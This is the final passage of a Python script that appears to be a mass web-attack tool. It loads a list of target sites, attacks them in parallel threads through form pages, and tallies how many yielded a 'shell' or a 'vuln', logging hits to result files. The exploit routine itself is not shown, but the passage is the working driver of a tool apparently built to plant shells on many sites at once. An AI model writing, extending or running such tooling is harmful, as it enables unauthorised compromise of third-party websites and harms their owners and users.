    tr = ui_prompt(f"Threads {_DIM}[{DEFAULT_THREADS}]{_R}:")
    try:
        threads = int(tr) if tr else DEFAULT_THREADS
    except ValueError:
        threads = DEFAULT_THREADS
    threads = max(1, min(threads, 20))

    try:
        raw_sites = load_targets(tf)
    except FileNotFoundError:
        ui_fail(f"Not found: {tf}")
        return 1
    if not raw_sites:
        ui_fail("Empty list")
        return 1

    run_id = time.strftime("%Y%m%d_%H%M%S")
    for fn in (RESULT_FILE, VULN_FILE):
        append_result(hit_dir / fn, f"\n--- RUN {run_id} ---")

    top = f"  {_BDR}\u250F{'\u2501' * _PW}\u2513{_R}"
    bot = f"  {_BDR}\u2517{'\u2501' * _PW}\u251B{_R}"

    ui()
    ui(top)
    ui(_prow(f"  {_WHT}{_B}SCAN{_R}   targets {_G2}{len(raw_sites)}{_R}   threads {_G2}{threads}{_R}   timeout {_G2}{TARGET_MAX_SECONDS}s{_R}   pages {_G2}{len(FORM_PAGES)}{_R}"))
    ui(bot)
    ui()

    counts = {"shell": 0, "vuln": 0, "miss": 0, "skip": 0, "total": 0}

    def worker(url):
        try:
            return process_target(url, hit_dir)
        except Exception as e:
            p = urlparse(url if "://" in url else f"https://{url}")
            ui_stage(p.hostname or url, "ERR", f"{type(e).__name__}: {str(e)[:80]}", _RED)
            return "miss"

    try:
        with ThreadPoolExecutor(max_workers=threads) as pool:
            futures = {pool.submit(worker, u): u for u in raw_sites}
            for fut in as_completed(futures):
                if _shutdown.is_set():
                    break
                try:
                    st = fut.result(timeout=TARGET_MAX_SECONDS + 30)
                except Exception:
                    st = "miss"
                counts["total"] += 1
                counts[st] = counts.get(st, 0) + 1
    except KeyboardInterrupt:
        ui(f"\n  {_YEL}Interrupted{_R}")
        _shutdown.set()

    sh = counts.get("shell", 0)
    vu = counts.get("vuln", 0)
    mi = counts.get("miss", 0)
    sk = counts.get("skip", 0)

    ui()
    ui(top)
    ui(_prow(f"  {_WHT}{_B}COMPLETE{_R}   {_WHT}{counts['total']}{_R} targets processed"))
    ui(_prow())
    ui(_prow(f"  {_SUCC}\u25CF {sh} shell{_R}     {_G2}\u25D0 {vu} vuln{_R}     {_DIM}\u25CB {sk} skip{_R}     {_RED}\u2717 {mi} miss{_R}"))
    ui(_prow())
    ui(_prow(f"  {_DIM}Results \u2501\u25B8 {_WHT}{HIT_DIR}/{_R}"))
    ui(bot)
    return 0 if sh or vu else 2


if __name__ == "__main__":
    raise SystemExit(main())